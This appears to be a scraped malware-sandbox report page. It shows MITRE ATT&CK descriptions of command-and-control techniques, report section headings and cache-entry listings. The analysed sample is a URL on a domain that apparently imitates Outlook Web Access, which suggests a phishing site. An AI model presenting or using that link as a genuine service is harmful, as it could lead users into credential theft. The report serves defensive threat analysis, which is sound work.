Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://ralph.owa-netbros.shop/67f6835c479eb29c9fc8721b?utm_source=%7Br%7D&utm_medium=%7Br%7D&utm_campaign=%7Br%7D

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Static File Info

Network Behavior

Windows Analysis Report
https://ralph.owa-netbros.shop/67f6835c479eb29c9fc8721b?utm_source=%7Br%7D&utm_medium=%7Br%7D&utm_campaign=%7Br%7D